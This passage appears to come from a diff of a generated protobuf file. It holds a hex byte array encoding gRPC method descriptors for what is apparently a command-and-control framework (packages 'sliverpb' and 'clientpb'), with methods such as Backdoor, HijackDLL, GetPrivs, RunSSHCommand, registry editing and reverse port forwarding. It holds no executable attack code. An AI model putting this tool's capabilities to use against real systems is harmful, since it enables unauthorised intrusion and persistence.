0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, + 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, + 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, + 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, + 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, + 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, + 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, - 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, - 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, - 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, - 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, - 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, - 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, - 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, - 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, - 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, - 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, + 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, + 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, + 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, + 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, + 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, + 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, + 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, + 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, - 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, + 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 